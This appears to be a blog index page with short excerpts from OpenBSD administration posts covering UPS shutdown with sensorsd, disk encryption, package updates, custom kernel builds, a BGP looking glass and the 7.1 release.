Sensorsd - UPS Shutdown

Shutdown Hosts on Power Outages Everybody is talking about Power Outages. Let’s assume you have a Smart-UPS for your Playground and you’d like to shut some Infrastructure to avoid some troubles with corrupt filesystems, broken vm’s and things like that. Connection UPS to APU via USB Cable dmesg show the UPS connected APU# dmesg uhidev0 at uhub0 port 3 configuration 1 interface 0 "American Power Conversion Smart-UPS_1500 ... uhidev0: iclass 3/0, 142 report ids upd0 at uhidev0 uhid0 at uhidev0 reportid 1: input=0, output=0, feature=1 uhid1 at uhidev0 reportid 2: input=0, output=0, feature=1 .

OpenBSD - Full Disk Encryption

Intro I never used the Fulldisk Encryption Feature as there was no need for. It doesn’t make sense for Hosted VM’s, as you have to enter the Passphrase at every boot at the Console. So, it’s a pain and still possible to intercept on the Hosters Infrastructure. Disk Encryption does not make sense at home, as all my Devices remains at home (and hopefully never got stolen). It would make sense on a Notebook, but i’m more the Apple Fanboy when it comes to portable Machines.

OpenBSD 7.2 - Compare

there are a few Weeks until OpenBSD 7.2 will get released. Anyhow, running current is a good way to get a “preview” what’s in the pipeline and will come soon. one of the painpoint was update packages on OpenBSD. Not because it was difficult, but it took quite a lot of time. Specially, when you run a bunch of machines in different networks. Version and Time consumption sysctl kern.version pkg_info |wc -l time pkg_add -Vu OpenBSD 7.

OpenBSD Compile Custom Kernel

Let’s Compile a Custom Kernel for OpenBSD … and let’s check if we can tune the Process it with multiple Processors. get Sources and prepare Custom Kernel cd /usr/src ftp$(uname -r)/sys.tar.gz tar xfz sys.tar.gz rm xfz sys.tar.gz cd /sys/arch/$(uname -m)/conf cp GENERIC.MP CUSTOM.MP config CUSTOM.MP cd ../compile/CUSTOM.MP -> with config CUSTOM.MP, you can enable disable Components which will be built into your Custom Kernel. Wlan Drives for a VirtualServer, as example, does not make sense.

OpenBGPD Looking Glass

BGP Looking Glass with OpenBSD something I’ve wanted to do for a long time and never got around to it … Just give a try, it’s public available: Prerequisite OpenBSD VM (at least 2G RAM) Public IPv4 / IPv6 DNS Record / Static IP Full BGP Feed (don’t worry, you can get it for free) httpd config OpenBSD got their own HTTP Daemon in Base System. Let’s enable and configure it.

OpenBSD 7.1

OpenBSD 7.1 released ! … a while ago. I upgraded all my boxes since quite a while, but i didn’t write a short post about it. There is nothing really unexpected, a stable, easy, straigh-forward development of my favourite OS, except that there is a need for more than 1G Free Disk Space in /var. That was a bit a problem for smalled Boxes like the APU with 16G Disk …
